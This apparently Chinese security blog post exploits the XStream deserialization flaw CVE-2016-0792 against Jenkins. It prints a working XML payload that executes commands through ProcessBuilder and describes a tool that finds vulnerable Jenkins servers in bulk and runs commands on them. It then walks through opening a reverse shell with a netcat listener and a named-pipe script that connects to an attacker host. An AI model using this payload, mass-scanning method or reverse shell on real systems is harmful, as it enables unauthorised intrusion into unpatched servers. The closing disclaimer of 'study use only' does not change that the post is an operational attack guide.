XStream反序列化漏洞利用之Jenkins(CVE-2016-0792)

0x00 背景

2016年2月24日, 国外安全研究员发布一篇文章《Serialization Must Die: Act 2: XStream (Jenkins CVE-2016-0792)》。XStream是一个著名的反序列化的库,用途广泛,原文中作者以Jenkins为例构造了一个远程代码执行的EXP。

0X01 分析

XStream漏洞的根源在于Groovy组件的问题,在groovy.util.Expando重载hashCode方法的时候出了问题:

public int hashCode() { 
  Object method = getProperties().get("hashCode"); 
  if (method != null && method instanceof Closure) { 
    // invoke overridden hashCode closure method 
    Closure closure = (Closure) method; 
    closure.setDelegate(this); 
    Integer ret = (Integer) closure.call(); 
    return ret.intValue(); 
  } else { 
    return super.hashCode(); 
  } 
}

当Expando中存在闭包对象时,Expando会使用该方法计算并返回hashCode,然而这个闭包对象是可控的,从而可以执行我们的代码。 
于是作者给出了EXP,使用XStream解析下面的片段时,会弹出计算器: 

<map> 
  <entry> 
    <groovy.util.Expando> 
      <expandoProperties> 
        <entry> 
          <!--这里是告诉Expando计算hashCode的时候使用我们的闭包方法--!> 
          <string>hashCode</string> 
          <org.codehaus.groovy.runtime.MethodClosure> 
            <delegate class="groovy.util.Expando" reference="../../../.."/> 
            <!--执行打开计算器的操作(当然也可以是别的!)--!> 
            <owner class="java.lang.ProcessBuilder"> 
              <command> 
                <string>open</string> 
                <string>/Applications/Calculator.app</string> 
              </command> 
              <redirectErrorStream>false</redirectErrorStream> 
            </owner> 
            <resolveStrategy>0</resolveStrategy> 
            <directive>0</directive> 
            <parameterTypes/> 
            <maximumNumberOfParameters>0</maximumNumberOfParameters> 
            <method>start</method> 
          </org.codehaus.groovy.runtime.MethodClosure> 
        </entry> 
      </expandoProperties> 
    </groovy.util.Expando> 
    <int>1</int> 
  </entry> 
</map>

EXP执行效果如下图:

执行链如下:

MapConverter#populateMap() 调用了 HashMap#put() 
HashMap#put() 调用了 Expando#hashCode() 
Expando#hashCode() 调用了 MethodClosure#call() 
MethodClosure#call() 调用了 MethodClosure#doCall() 
MethodClosure#doCall() 调用了 InvokerHelper#invokeMethod() 
InvokerHelper#invokeMethod() 调用了 ProcessBuilder#start() 

该EXP的意义是我们在MethodClosure#call()中执行动作,传递进去污染数据,执行任意代码。

更多分析可参见:

http://drops.wooyun.org/papers/13243

http://zone.wooyun.org/content/25551

0x02 利用

鉴于上面的分析,笔者编写了如下的批量利用EXP,如下图:

该EXP支持单个IP利用和批量IP利用.

1. 单个IP地址的利用方式如下:

命令格式: hackUtils.py -k [IP Address][::command]

Linux环境下利用效果:

Windows环境下利用效果:

2. 批量IP的利用方式如下:

该EXP可批量在有漏洞的Jenkins服务器上执行任意命令。我们可以通过 python hackUtils.py -i jenkins 批量获取Jenkins的IP地址, 运行结束后你会在当前目录下找到一个IP列表文件censys.txt.

命令格式: hackUtils.py -k [IP_list][::command]

注:[IP address]表示单个IP地址,如:10.10.10.10,[::command]表示任意执行的命令,如:::dir 或者 ::”touch /tmp/jenkins“, [IP_list]表示IP列表的文件,如:IP.txt

0x03 实战

为了方便大家更好地理解和使用该EXP,笔者提供了一个简单的反弹shell案例。

利用前的准备:

1. 一台用于监听的外网服务器

2. 一台安装了该EXP的任意主机

3. 一台有漏洞的Jenkins服务器

第一步, 先在我们自己的攻击服务器上开启端口监听:nc -vv -l 8000

第二步,利用该EXP进行批量检测,如下我们成功找到了很多漏洞未修复的Jenkins服务器。

第三步, 选择其中一个IP作为目标服务器,测试漏洞是否存在,尝试一下命令: python hackUtils.py -k [目标IP]::”telnet [监听服务器IP] [监听端口]” 来测试是否可以连通。如下图,可以清楚发现该目标服务器存在漏洞,并可以连通攻击主机的监听端口。

第四步,在目标主机上执行远程命令反弹shell。在这一步,可以通过该EXP执行命令来反弹shell,也可以利用如下姿势。

首先,利用命令下载反弹shell的脚本至服务器, 比如:放置如下的反弹shell的脚本供目标服务器下载.

#!/bin/sh

a=$(date +%s);
backpipe="backpipe""$a";

mknod /tmp/$backpipe p;
/bin/sh 0</tmp/$backpipe | nc [监听主机IP] [监听端口] 1>/tmp/$backpipe;

然后,执行脚本,如下。

最后反弹shell至攻击主机。至此,我们已经成功地利用该EXP获取到了目标服务器的shell了。

脚本地址:https://github.com/brianwrf/hackUtils

声明:仅作学习使用,任何人不可用于非法目的,否则一切后果由其本人承担!

参考:

https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream?platform=hootsuite

http://drops.wooyun.org/papers/13243

http://zone.wooyun.org/content/25551

《XStream反序列化漏洞利用之Jenkins(CVE-2016-0792)》有2个想法

评论已关闭。